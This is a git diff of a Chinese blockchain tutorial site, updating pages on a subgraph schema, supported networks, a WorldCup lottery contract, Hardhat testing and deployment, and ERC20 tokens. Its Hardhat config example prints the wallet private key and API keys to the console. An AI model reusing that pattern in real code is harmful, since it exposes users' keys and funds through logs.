      +  simpleBlocks(where: { id_gt: "13712600"}){
           id
         }
       }
      @@ -3100,7 +3096,7 @@ 

      语法:

    18. 打印log使用技巧,必须有{}

      -
      log.info('***MARKET*** : underlyingAddress {}', [market.underlyingAddress.toHexString()])
      +
      log.info('***MARKET*** : underlyingAddress {}', [market.underlyingAddress.toHexString()])
       

      image-20230624130010204

    19. @@ -3122,74 +3118,74 @@

      specification

    20. https://www.bilibili.com/video/BV1RS4y1F7zw?spm_id_from=333.337.search-card.all.click&vd_source=42fe91bf6d16ec8841b22ea520184d76

    schema.graphql

    -
    type UseFlashloan @entity {
    -        id: ID!
    -        user: String!
    -    token: String!
    -    tokenName: String!
    -    amount: BigInt!
    -    fee: BigInt!
    -    block: BigInt!
    -    time: BigInt!
    +
    type UseFlashloan @entity {
    +        id: ID!
    +        user: String!
    +    token: String!
    +    tokenName: String!
    +    amount: BigInt!
    +    fee: BigInt!
    +    block: BigInt!
    +    time: BigInt!
     }
     
    -type StakePoolClaimed @entity {
    -        id: ID!
    -        user: String!
    -        token: String!
    -        block: BigInt!
    -        time: BigInt!
    +type StakePoolClaimed @entity {
    +        id: ID!
    +        user: String!
    +        token: String!
    +        block: BigInt!
    +        time: BigInt!
     }
     
    -type FlashTotalClaimed @entity {
    -        id: ID!
    -        amount: BigInt!
    -        lashHash: String!
    -        lastTime: BigInt!
    +type FlashTotalClaimed @entity {
    +        id: ID!
    +        amount: BigInt!
    +        lashHash: String!
    +        lastTime: BigInt!
     }
     
    -type MerkleDistributor @entity {
    -        id: ID!
    -        index: BigInt!
    -        amount: BigInt!
    -        settleBlocNumber: BigInt!
    +type MerkleDistributor @entity {
    +        id: ID!
    +        index: BigInt!
    +        amount: BigInt!
    +        settleBlocNumber: BigInt!
     }
     
    -type SimpleBlock @entity {
    -        id: ID!
    -        height: BigInt!
    -        time: BigInt!
    +type SimpleBlock @entity {
    +        id: ID!
    +        height: BigInt!
    +        time: BigInt!
     }
     
    -type NoHandlerUseFlashloan @entity {
    -        id: ID!
    -        list: [UseFlashloan!]!
    +type NoHandlerUseFlashloan @entity {
    +        id: ID!
    +        list: [UseFlashloan!]!
     }
     
    -type UserFlashloan @entity {
    -        id: ID!
    -        user: String!
    -        reward: BigInt!
    -        flashloan: BigInt!
    -        claimed: Boolean!
    +type UserFlashloan @entity {
    +        id: ID!
    +        user: String!
    +        reward: BigInt!
    +        flashloan: BigInt!
    +        claimed: Boolean!
     }
     
    -type FlashloanReward @eneity {
    -        id: ID!
    -        index: BigInt!
    -        amount: BigInt!
    -        settleBlocNumber: BigInt!
    -        totalAmount: BigInt!
    -        flashloanTotalAmount: BigInt!
    -        list: [UserFlashloan!]!
    +type FlashloanReward @eneity {
    +        id: ID!
    +        index: BigInt!
    +        amount: BigInt!
    +        settleBlocNumber: BigInt!
    +        totalAmount: BigInt!
    +        flashloanTotalAmount: BigInt!
    +        list: [UserFlashloan!]!
     }
     
    -type FlashloanBalance @entity {
    -        id: ID!
    -        tokenName: String
    -        fee: BigInt
    -        balance: BigInt
    -        time: BigInt
    +type FlashloanBalance @entity {
    +        id: ID!
    +        tokenName: String
    +        fee: BigInt
    +        balance: BigInt
    +        time: BigInt
     }
     
    @@ -3219,7 +3215,7 @@

    schema.graphql

    @@ -3305,14 +3301,6 @@

    schema.graphql

    - - - - - - - - diff --git "a/cn/07_subgraph/04_\346\224\257\346\214\201\347\232\204\347\275\221\347\273\234.html" "b/cn/07_subgraph/04_\346\224\257\346\214\201\347\232\204\347\275\221\347\273\234.html" index 4219a963..31f6d85d 100644 --- "a/cn/07_subgraph/04_\346\224\257\346\214\201\347\232\204\347\275\221\347\273\234.html" +++ "b/cn/07_subgraph/04_\346\224\257\346\214\201\347\232\204\347\275\221\347\273\234.html" @@ -36,10 +36,6 @@ - - - - @@ -3040,7 +3036,7 @@

    第4节:支持的网络

    Polygon / Matic -> matic -Mumbai (Matic test network) -> Mumbai +Mumbai (Matic test network) -> Mumbai fantom -> fantom @@ -3052,11 +3048,11 @@

    第4节:支持的网络

    avalanche -> avalanche -Avalanche test net -> fuji +Avalanche test net -> fuji Cell -> Cell -Celo test net (Alfajores) -> celo-alfajores +Celo test net (Alfajores) -> celo-alfajores fuse -> fuse @@ -3094,7 +3090,7 @@

    第4节:支持的网络

    @@ -3180,14 +3176,6 @@

    第4节:支持的网络

    - - - - - - - - diff --git a/cn/07_subgraph/index.html b/cn/07_subgraph/index.html index 97835e0f..0b6743f1 100644 --- a/cn/07_subgraph/index.html +++ b/cn/07_subgraph/index.html @@ -36,10 +36,6 @@ - - - - @@ -3056,7 +3052,7 @@

    第七章:subgraph

    @@ -3142,14 +3138,6 @@

    第七章:subgraph

    - - - - - - - - diff --git "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/01_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_solidity.html" "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/01_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_solidity.html" index a637241b..3c4d15c7 100644 --- "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/01_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_solidity.html" +++ "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/01_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_solidity.html" @@ -36,10 +36,6 @@ - - - - @@ -3068,9 +3064,9 @@

    知识点

  • 1 ether = 10^9 gwei

  • tx:

    -
    1. from:交易发起人, 合约中是:msg.sender
    -2. to:交互合约地址,传给合约的数据:msg.data
    -3. value:传递的金额,msg.value
    +
    1. from:交易发起人, 合约中是:msg.sender
    +2. to:交互合约地址,传给合约的数据:msg.data
    +3. value:传递的金额,msg.value
     
  • "storage", "memory"

    @@ -3087,10 +3083,24 @@

    代码

  • https://goerli.etherscan.io/address/0xD0f85823D7e118BB7fa4D460A25851fCf99f7Fa9

  • -
    // SPDX-License-Identifier: GPL-3.0
    -pragma solidity >=0.7.0 <0.9.0; import "hardhat console.sol"; contract worldcup { 1. 状态变量:管理员、所有玩家、获奖者地址、第几期、参赛球队 2. 核心方法:下注、开奖、 3. 辅助方法:获取奖金池金额、管理员地址、当前期数、参与人数、所有玩家、参赛球队 address public admin; uint8 currround; string[] countries; ["germany", "franch", "china", "brizal", "korea"] countries="["GERMANY"," "korea"]; mapping (uint8> mapping (address => Player)) players;
    -    mapping (uint8 => mapping (Country => address[])) public countryToPlayers;
    -    mapping (address => uint256) public winnerVaults;
    +
    // SPDX-License-Identifier: GPL-3.0
    +pragma solidity >=0.7.0 <0.9.0;
    +
    +import "hardhat/console.sol";
    +
    +contract WorldCup {
    +    // 1. 状态变量:管理员、所有玩家、获奖者地址、第几期、参赛球队
    +    // 2. 核心方法:下注、开奖、
    +    // 3. 辅助方法:获取奖金池金额、管理员地址、当前期数、参与人数、所有玩家、参赛球队
    +
    +    address public admin;
    +    uint8 public currRound;
    +
    +    // string[] public countries; // ["GERMANY", "FRANCH", "CHINA", "BRIZAL", "KOREA"]
    +    string[] public countries = ["GERMANY", "FRANCH", "CHINA", "BRIZAL", "KOREA"];
    +    mapping (uint8 => mapping (address => Player)) players;
    +    mapping (uint8 => mapping (Country => address[])) public countryToPlayers;
    +    mapping (address => uint256) public winnerVaults;
     
         uint256 public immutable deadline;
         uint256 public lockedAmts;
    @@ -3108,111 +3118,111 @@ 

    代码

    event ClaimReward(address _claimer, uint256 _amt); modifier onlyAdmin { - require(msg.sender == admin, "not authorized!"); + require(msg.sender == admin, "not authorized!"); _; } struct Player { bool isSet; - mapping (Country => uint256) counts; + mapping (Country => uint256) counts; } - // constructor(string[] memory _countries, uint256 _deadline) { - constructor(uint256 _deadline) { + // constructor(string[] memory _countries, uint256 _deadline) { + constructor(uint256 _deadline) { admin = msg.sender; - require(_deadline > block.timestamp, "WorldCupLottery: invalid deadline!"); + require(_deadline > block.timestamp, "WorldCupLottery: invalid deadline!"); deadline = _deadline; } - function play(Country _selected) payable external { - // 参数校验 - require(msg.value == 1 gwei, "invalid funds provided!"); + function play(Country _selected) payable external { + // 参数校验 + require(msg.value == 1 gwei, "invalid funds provided!"); - require(block.timestamp < deadline, "it's all over!"); + require(block.timestamp < deadline, "it's all over!"); - // 更新countryToPlayers + // 更新countryToPlayers countryToPlayers[currRound][_selected].push(msg.sender); - // 更新players + // 更新players Player storage player = players[currRound][msg.sender]; - // player.isSet = false; - player.counts[_selected] += 1; + // player.isSet = false; + player.counts[_selected] += 1; emit Play(currRound, msg.sender, _selected); } - // 写另外一个合约,模拟oracle,讲解合约间调用 - function finialize(Country _country) onlyAdmin external { - // 找到winners + // 写另外一个合约,模拟oracle,讲解合约间调用 + function finialize(Country _country) onlyAdmin external { + // 找到winners address[] memory winners = countryToPlayers[currRound][_country]; uint256 distributeAmt; - // 分配奖励金额 + // 分配奖励金额 uint currAvalBalance = getVaultBalance() - lockedAmts; - console.log("currAvalBalance:", currAvalBalance, "winners count:", winners.length); + console.log("currAvalBalance:", currAvalBalance, "winners count:", winners.length); - for (uint i = 0; i< winners.length; i++) { + for (uint i = 0; i< winners.length; i++) { address currWinner = winners[i]; - // 获取每个地址应该得到的份额 + // 获取每个地址应该得到的份额 Player storage winner = players[currRound][currWinner]; - if (winner.isSet) { - console.log("this winner has been set already, will be skipped!"); - continue; + if (winner.isSet) { + console.log("this winner has been set already, will be skipped!"); + continue; } - winner.isSet = true; + winner.isSet = true; uint currCounts = winner.counts[_country]; - // (本期总奖励 / 总参与人数)* 当前地址持有份额 + // (本期总奖励 / 总参与人数)* 当前地址持有份额 uint amt = (currAvalBalance / countryToPlayers[currRound][_country].length) * currCounts; winnerVaults[currWinner] += amt; distributeAmt += amt; lockedAmts += amt; - console.log("winner:", currWinner, "currCounts:", currCounts); - console.log("reward amt curr:", amt, "total:", winnerVaults[currWinner]); + console.log("winner:", currWinner, "currCounts:", currCounts); + console.log("reward amt curr:", amt, "total:", winnerVaults[currWinner]); } uint giftAmt = currAvalBalance - distributeAmt; - if (giftAmt > 0) { + if (giftAmt > 0) { winnerVaults[admin] += giftAmt; } emit Finialize(currRound++, uint256(_country)); } - function claimReward() external { + function claimReward() external { uint256 rewards = winnerVaults[msg.sender]; - require(rewards > 0, "nothing to claim!"); + require(rewards > 0, "nothing to claim!"); - winnerVaults[msg.sender] = 0; + winnerVaults[msg.sender] = 0; lockedAmts -= rewards; - (bool succeed,) = msg.sender.call{value: rewards}(""); - require(succeed, "claim reward failed!"); + (bool succeed,) = msg.sender.call{value: rewards}(""); + require(succeed, "claim reward failed!"); - console.log("rewards:", rewards); + console.log("rewards:", rewards); emit ClaimReward(msg.sender, rewards); } - ////////////////////////////////////////////// getter functions //////////////////////////////////////////////// + ////////////////////////////////////////////// getter functions //////////////////////////////////////////////// - function getVaultBalance() public view returns(uint256 bal){ - bal = address(this).balance; + function getVaultBalance() public view returns(uint256 bal){ + bal = address(this).balance; } - function getCountryPlayters(uint8 _round, Country _country) external view returns (uint256) { - return countryToPlayers[_round][_country].length; + function getCountryPlayters(uint8 _round, Country _country) external view returns (uint256) { + return countryToPlayers[_round][_country].length; } - function getPlayerInfo(uint8 _round, address _player, Country _country) external view returns (uint256 _counts) { - return players[_round][_player].counts[_country]; + function getPlayerInfo(uint8 _round, address _player, Country _country) external view returns (uint256 _counts) { + return players[_round][_player].counts[_country]; } } -
    +

    下次预告

    1. 使用工程化来管理合约
    2. @@ -3258,7 +3268,7 @@

      资源链接

      @@ -3344,14 +3354,6 @@

      资源链接

      - - - - - - - - diff --git "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/02_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_hardhat.html" "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/02_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_hardhat.html" index 49dc55c7..770981f8 100644 --- "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/02_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_hardhat.html" +++ "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/02_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_hardhat.html" @@ -36,10 +36,6 @@ - - - - @@ -3047,25 +3043,25 @@

      学习目标

    3. 集成WorldCup合约,完成部署、verify、单元测试

    创建hardhat项目

    -
    #创建npm空项目
    +
    #创建npm空项目
     npm init 
     
    -#安装命令,对照两个版本的差异性
    -npm install --save-dev hardhat@2.11.1 # 新案例,新工具包
    +#安装命令,对照两个版本的差异性
    +npm install --save-dev hardhat@2.11.1 # 新案例,新工具包
     npm install --save-dev hardhat@2.9.7
     
    -#创建工程
    +#创建工程
     npx hardhat-》选择高级ts项目
     

    目录结构

    image-20221008083733891

    运行测试

    
    -#编译合约
    +#编译合约
     npx hardhat compile
     
    -#单元测试
    -npx hardhat test
    +#单元测试
    +npx hardhat test
     

    执行效果如下:

    image-20221008085748424

    @@ -3076,34 +3072,34 @@

    编写单元测试

    1. 创建test/WorldCup.ts,用于编写测试文件,首先引入测试工具包:
    -
    import { time, loadFixture } from "@nomicfoundation/hardhat-network-helpers";
    -import { anyValue } from "@nomicfoundation/hardhat-chai-matchers/withArgs";
    -import { expect } from "chai";
    -import { ethers } from "hardhat";
    -import hre from "hardhat";
    -import { WorldCup } from "../typechain-types";
    +
    import { time, loadFixture } from "@nomicfoundation/hardhat-network-helpers";
    +import { anyValue } from "@nomicfoundation/hardhat-chai-matchers/withArgs";
    +import { expect } from "chai";
    +import { ethers } from "hardhat";
    +import hre from "hardhat";
    +import { WorldCup } from "../typechain-types";
     
    1. 合约初始化部署
    -
    describe("WorldCup", function () {
    -      async function deployWorldcupFixture() {
    +
    describe("WorldCup", function () {
    +      async function deployWorldcupFixture() {
     
    -                // 获取第一个钱包对象,用于发起交易
    -        const [owner, otherAccount] = await ethers.getSigners();
    +                // 获取第一个钱包对象,用于发起交易
    +        const [owner, otherAccount] = await ethers.getSigners();
     
    -          // 获取合约对象
    -        const WorldCup = await ethers.getContractFactory("WorldCup");
    -        const deadline = (await time.latest()) + TWO_WEEKS_IN_SECS;
    +          // 获取合约对象
    +        const WorldCup = await ethers.getContractFactory("WorldCup");
    +        const deadline = (await time.latest()) + TWO_WEEKS_IN_SECS;
     
    -          // 部署合约
    -        const worldcup = await WorldCup.deploy(deadline);
    -        return { worldcup, deadline, owner, otherAccount };
    +          // 部署合约
    +        const worldcup = await WorldCup.deploy(deadline);
    +        return { worldcup, deadline, owner, otherAccount };
         }
     
    -    this.beforeEach(async () => {
    -          // 从内存中获取合约状态快照(仅用于测试),执行每个单元测试的时候,状态都会回到最初
    -        const { worldcup, owner, otherAccount, deadline } = await loadFixture(deployWorldcupFixture);
    +    this.beforeEach(async () => {
    +          // 从内存中获取合约状态快照(仅用于测试),执行每个单元测试的时候,状态都会回到最初
    +        const { worldcup, owner, otherAccount, deadline } = await loadFixture(deployWorldcupFixture);
             worldcupIns = worldcup
             ownerAddr = owner.address
             otherAccountAddr = otherAccount.address
    @@ -3114,19 +3110,19 @@ 

    编写单元测试

    1. 编写测试逻辑
    -
        describe("Deployment", function () {
    -          // 检查部署后,owner是否正确
    -        it("Should set the right owner", async function () {
    -            const { worldcup, owner } = await loadFixture(deployWorldcupFixture);
    -            expect(await worldcupIns.admin()).to.equal(ownerAddr);
    +
        describe("Deployment", function () {
    +          // 检查部署后,owner是否正确
    +        it("Should set the right owner", async function () {
    +            const { worldcup, owner } = await loadFixture(deployWorldcupFixture);
    +            expect(await worldcupIns.admin()).to.equal(ownerAddr);
             });
     
    -          // 检查部署时,如果传入参数不满足,是否会抛出异常
    -        it("Should fail if the deadline is not in the future", async function () {
    -            const latestTime = await time.latest();
    -            const WorldCup = await ethers.getContractFactory("WorldCup");
    -            await expect(WorldCup.deploy(latestTime)).to.be.revertedWith(
    -                "WorldCupLottery: invalid deadline!"
    +          // 检查部署时,如果传入参数不满足,是否会抛出异常
    +        it("Should fail if the deadline is not in the future", async function () {
    +            const latestTime = await time.latest();
    +            const WorldCup = await ethers.getContractFactory("WorldCup");
    +            await expect(WorldCup.deploy(latestTime)).to.be.revertedWith(
    +                "WorldCupLottery: invalid deadline!"
                 );
             });
     
    @@ -3135,107 +3131,107 @@

    编写单元测试

    单元测试至此告一段落,接下来我们开始考虑将代码部署到区块链网络中。

    部署到本地网络

    hardhat内部实现了一个本地evm,可以运行一个本地节点,开发过程,我们可以选择启动节点,并在上面部署,具体如下:

    -
    #运行脚本,部署合约
    +
    #运行脚本,部署合约
     npx hardhat run scripts/deploy.ts
     
    -#启动节点node
    +#启动节点node
     npx hardhat node
     
    -#部署合约到本地node节点
    +#部署合约到本地node节点
     npx hardhat run scripts/deploy.ts --network localhost
     

    效果如下,方便快速验证合约及脚本image-20221008091848377

    修改配置文件

    如果想部署到真实的测试网络,我们需要修改一下配置文件:hardhat.config.ts,具体如下:

    -
    import { HardhatUserConfig } from "hardhat/config";
    -import "@nomicfoundation/hardhat-toolbox";
    -
    -// 在配置文件中引用,
    -// 需要单独安装:npm install dotenv
    -require('dotenv').config()
    -
    -let ALCHEMY_KEY = process.env.ALCHEMY_KEY || ''
    -let INFURA_KEY = process.env.INFURA_KEY || ''
    -let PRIVATE_KEY = process.env.PRIVATE_KEY || ''
    -let ETHERSCAN_API_KEY = process.env.ETHERSCAN_API_KEY || ''
    -
    -console.log(ALCHEMY_KEY);
    -console.log(INFURA_KEY);
    -console.log(PRIVATE_KEY);
    -console.log(ETHERSCAN_API_KEY);
    -
    -const config: HardhatUserConfig = {
    -    // solidity: "0.8.9",
    -    // 配置网络 kovan, bsc, mainnet
    -    networks: {
    -        hardhat: {
    +
    import { HardhatUserConfig } from "hardhat/config";
    +import "@nomicfoundation/hardhat-toolbox";
    +
    +// 在配置文件中引用,
    +// 需要单独安装:npm install dotenv
    +require('dotenv').config()
    +
    +let ALCHEMY_KEY = process.env.ALCHEMY_KEY || ''
    +let INFURA_KEY = process.env.INFURA_KEY || ''
    +let PRIVATE_KEY = process.env.PRIVATE_KEY || ''
    +let ETHERSCAN_API_KEY = process.env.ETHERSCAN_API_KEY || ''
    +
    +console.log(ALCHEMY_KEY);
    +console.log(INFURA_KEY);
    +console.log(PRIVATE_KEY);
    +console.log(ETHERSCAN_API_KEY);
    +
    +const config: HardhatUserConfig = {
    +    // solidity: "0.8.9",
    +    // 配置网络 kovan, bsc, mainnet
    +    networks: {
    +        hardhat: {
             },
    -          // 配置goerli网络
    -        goerli: {
    -            url: `https://eth-goerli.alchemyapi.io/v2/${ALCHEMY_KEY}`,
    -            accounts: [PRIVATE_KEY]
    +          // 配置goerli网络
    +        goerli: {
    +            url: `https://eth-goerli.alchemyapi.io/v2/${ALCHEMY_KEY}`,
    +            accounts: [PRIVATE_KEY]
             },
    -        kovan: {
    -            url: `https://kovan.infura.io/v3/${INFURA_KEY}`,
    -            accounts: [PRIVATE_KEY]
    +        kovan: {
    +            url: `https://kovan.infura.io/v3/${INFURA_KEY}`,
    +            accounts: [PRIVATE_KEY]
             }
         },
    -    // 配置自动化verify相关
    -    etherscan: {
    -        apiKey: {
    -            goerli: ETHERSCAN_API_KEY
    +    // 配置自动化verify相关
    +    etherscan: {
    +        apiKey: {
    +            goerli: ETHERSCAN_API_KEY
             }
         },
    -    // 配置编译器版本
    -    solidity: {
    -        version: "0.8.9",
    -        settings: {
    -            optimizer: {
    -                enabled: true,
    -                runs: 200
    +    // 配置编译器版本
    +    solidity: {
    +        version: "0.8.9",
    +        settings: {
    +            optimizer: {
    +                enabled: true,
    +                runs: 200
                 }
             }
         },
     };
     
    -export default config;
    +export default config;
     

    修改部署脚本

    修改scripts/deploy.ts

    -
    import { ethers } from "hardhat";
    -
    -async function main() {
    -  const TWO_WEEKS_IN_SECS = 14 * 24 * 60 * 60;
    -  const timestamp = Math.floor(Date.now() / 1000)
    -  const deadline = timestamp + TWO_WEEKS_IN_SECS;
    -  console.log(timestamp)
    -
    -  // 获取对象
    -  const WorldCup = await ethers.getContractFactory("WorldCup");
    -  // 部署
    -  const worldcup = await WorldCup.deploy(deadline);
    -    // 等待部署完成
    -  await worldcup.deployed();
    -
    -  console.log(`new worldcup deployed to ${worldcup.address}`);
    +
    import { ethers } from "hardhat";
    +
    +async function main() {
    +  const TWO_WEEKS_IN_SECS = 14 * 24 * 60 * 60;
    +  const timestamp = Math.floor(Date.now() / 1000)
    +  const deadline = timestamp + TWO_WEEKS_IN_SECS;
    +  console.log(timestamp)
    +
    +  // 获取对象
    +  const WorldCup = await ethers.getContractFactory("WorldCup");
    +  // 部署
    +  const worldcup = await WorldCup.deploy(deadline);
    +    // 等待部署完成
    +  await worldcup.deployed();
    +
    +  console.log(`new worldcup deployed to ${worldcup.address}`);
     }
     
    -main().catch((error) => {
    -  console.error(error);
    -  process.exitCode = 1;
    +main().catch((error) => {
    +  console.error(error);
    +  process.exitCode = 1;
     });
     

    部署到goerli网络:

    -
    # npx hardhat run scripts/deploy.ts --network  
    -npx hardhat run scripts/deploy.ts --network goerli  #在配置文件中已经配置了
    +
    # npx hardhat run scripts/deploy.ts --network <netWorkName> 
    +npx hardhat run scripts/deploy.ts --network goerli  #在配置文件中已经配置了
     
    -# 得到地址如下:0xD0f85823D7e118BB7fa4D460A25851fCf99f7Fa9
    -
    +# 得到地址如下:0xD0f85823D7e118BB7fa4D460A25851fCf99f7Fa9 +

    image-20221008094344213

    自动验证代码:

    -
    # npx hardhat verify  [para1] [para2] ...  --network goerli
    +
    # npx hardhat verify <contractAddr> [para1] [para2] ...  --network goerli
     npx hardhat verify 0xD0f85823D7e118BB7fa4D460A25851fCf99f7Fa9 1665193342  --network goerli
    -
    +

    效果如下:

    image-20221008094819715

    小结

    @@ -3282,7 +3278,7 @@

    下次预告

    @@ -3368,14 +3364,6 @@

    下次预告

    - - - - - - - - diff --git "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/03_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_ERC20.html" "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/03_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_ERC20.html" index 29e97fa8..d03f0073 100644 --- "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/03_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_ERC20.html" +++ "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/03_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_ERC20.html" @@ -36,10 +36,6 @@ - - - - @@ -3068,50 +3064,50 @@

    ERC20

    image-20221009070445434

    ERC20协议是标准的以太坊Token协议,它也是一个合约代码,只要在该合约内部实现了特定的6个方法,就会被系统判定为代币合约,具体总结为:6个必要接口,2个必要事件,3个可选接口,详情如下:

    6个必要接口:

    -
    // FHT Token: 总发行量:1000w,decimal:18
    +
    // FHT Token: 总发行量:1000w,decimal:18
     
    -// 总发行量:10000000 * 10**18
    -function totalSupply() public view returns (uint256)
    +// 总发行量:10000000 * 10**18
    +function totalSupply() public view returns (uint256)
     
    -// 内部维护一个mapping, 返回余额
    -function balanceOf(address _owner) public view returns (uint256 balance)
    +// 内部维护一个mapping, 返回余额
    +function balanceOf(address _owner) public view returns (uint256 balance)
     
    -// token持有人调用,进行转账(写操作,花钱)
    +// token持有人调用,进行转账(写操作,花钱)
     // 张三 -> 李四, 100 * 10**18
    -function transfer(address _to, uint256 _value) public returns (bool success)
    +function transfer(address _to, uint256 _value) public returns (bool success)
     
     // 张三,李四,王五
    -// 张三是token持有人, owner, 1w
    -function approve(address _spender, uint256 _value) public returns (bool success)
    -// 张三调用approve的时候,会在内部修改allownce,mapping
    -// allownace[张三][李四] += 1w
    -
    -function allowance(address _owner, address _spender) public view returns (uint256 remaining)
    -// 李四是被授权人, spender
    -// 王五接受token的人, receiver
    -
    -// 李四是张三的授权人,李四调用transferFrom来给王五转账
    -function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
    -
    +// 张三是token持有人, owner, 1w +function approve(address _spender, uint256 _value) public returns (bool success) +// 张三调用approve的时候,会在内部修改allowncemapping +// allownace[张三][李四] += 1w + +function allowance(address _owner, address _spender) public view returns (uint256 remaining) +// 李四是被授权人, spender +// 王五接受token的人, receiver + +// 李四是张三的授权人,李四调用transferFrom来给王五转账 +function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) +

    2个必要事件

    -
    // 在tranfer 和transferFrom内部使用
    +
    // 在tranfer 和transferFrom内部使用
     event Transfer(address indexed _from, address indexed _to, uint256 _value)
     
    -// 在approve方法中使用
    +// 在approve方法中使用
     event Approval(address indexed _owner, address indexed _spender, uint256 _value)
     

    3个可选接口

    -
    // FHT Token
    -function name() public view returns (string)
    +
    // FHT Token
    +function name() public view returns (string)
     
    -// FHT
    -function symbol() public view returns (string) 
    +// FHT
    +function symbol() public view returns (string) 
     
    -// USDT:  6, 10000000 * 10**6
    -// WBTC:  8, 10000000 * 10**8
    -// 其他Token:18, 10000000 * 10**18
    -function decimals() public view returns (uint8)
    -
    +// USDT: 6, 10000000 * 10**6 +// WBTC: 8, 10000000 * 10**8 +// 其他Token:18, 10000000 * 10**18 +function decimals() public view returns (uint8) +

    其中,approve逻辑是我们最常使用的,与之配合的方法是transferFrom,其关系如下图:

    approve流程图

    其中关系为:

    @@ -3131,18 +3127,18 @@

    发行ERC20 Token

  • 发行量Total Amounts:10,000,000
  • 在我们的项目中,创建tokens/WorldCupToken.sol,填写内容如下:

    -
    pragma solidity ^0.8.10;
    +
    pragma solidity ^0.8.10;
     
    -import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
    +import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
     
    -//合约继承,使用 is
    +//合约继承,使用 is
     contract FHTToken is ERC20 {
    -    // 2. 一次性mint出来,不允许后续mint
    -    constructor(
    +    // 2. 一次性mint出来,不允许后续mint
    +    constructor(
             string memory name_,
             string memory symbol_,
             uint256 totalSupply_
    -    ) ERC20(name_, symbol_) {
    +    ) ERC20(name_, symbol_) {
             _mint(msg.sender, totalSupply_);
         }
     }
    @@ -3153,37 +3149,37 @@ 

    发行ERC20 Token

    下图为openzeppeline/cntracts包里面支持的合约,涉及到:标准合约,准入控制,代理合约,工具合约等,后续我们会专门讲解里面的功能。

    image-20221008155705857

    编写部署脚本:

    -
    import { ethers } from "hardhat";
    +
    import { ethers } from "hardhat";
     
    -async function main() {
    +async function main() {
     
    -  const totalSupply = ethers.utils.parseUnits('10000000', 18)
    -  console.log('totalSupply:', totalSupply);
    +  const totalSupply = ethers.utils.parseUnits('10000000', 18)
    +  console.log('totalSupply:', totalSupply);
     
    -  const FHTToken = await ethers.getContractFactory('WorldCupToken');
    -  const fht = await FHTToken.deploy("World Cup Token", "WCT", totalSupply);
    +  const FHTToken = await ethers.getContractFactory('WorldCupToken');
    +  const fht = await FHTToken.deploy("World Cup Token", "WCT", totalSupply);
     
    -  await fht.deployed();
    +  await fht.deployed();
     
    -  console.log(`new World Cup Token deployed to ${fht.address}`);
    +  console.log(`new World Cup Token deployed to ${fht.address}`);
     }
     
    -// We recommend this pattern to be able to use async/await everywhere
    -// and properly handle errors.
    -main().catch((error) => {
    -  console.error(error);
    -  process.exitCode = 1;
    +// We recommend this pattern to be able to use async/await everywhere
    +// and properly handle errors.
    +main().catch((error) => {
    +  console.error(error);
    +  process.exitCode = 1;
     });
     

    编译部署合约:

    -
    # new World Cup Token deployed to 0xB500D338D6cd608D867015295483E38758CC7711
    +
    # new World Cup Token deployed to 0xB500D338D6cd608D867015295483E38758CC7711
     npx hardhat run scripts/deployMockERc20.ts --network goerli
     
    -# 常规verify方法
    -#npx hardhat verify 0x27716a01Ef4eBd9001dE035A89d86593588D92BC "World Cup Token" "WCT" "10000000000000000000000000" --network goerli
    +# 常规verify方法
    +#npx hardhat verify 0x27716a01Ef4eBd9001dE035A89d86593588D92BC "World Cup Token" "WCT" "10000000000000000000000000" --network goerli
     

    当有多个代码相同时,verify方法:

    -
     npx hardhat verify --contract contracts/tokens/WorldCupToken.sol:WorldCupToken 0xB500D338D6cd608D867015295483E38758CC7711 "World Cup Token" "WCT" "10000000000000000000000000" --network goerli
    +
     npx hardhat verify --contract contracts/tokens/WorldCupToken.sol:WorldCupToken 0xB500D338D6cd608D867015295483E38758CC7711 "World Cup Token" "WCT" "10000000000000000000000000" --network goerli
     

    在浏览器查看,效果如下:

    image-20221008163326175

    @@ -3228,7 +3224,7 @@

    参考链接

    @@ -3314,14 +3310,6 @@

    参考链接

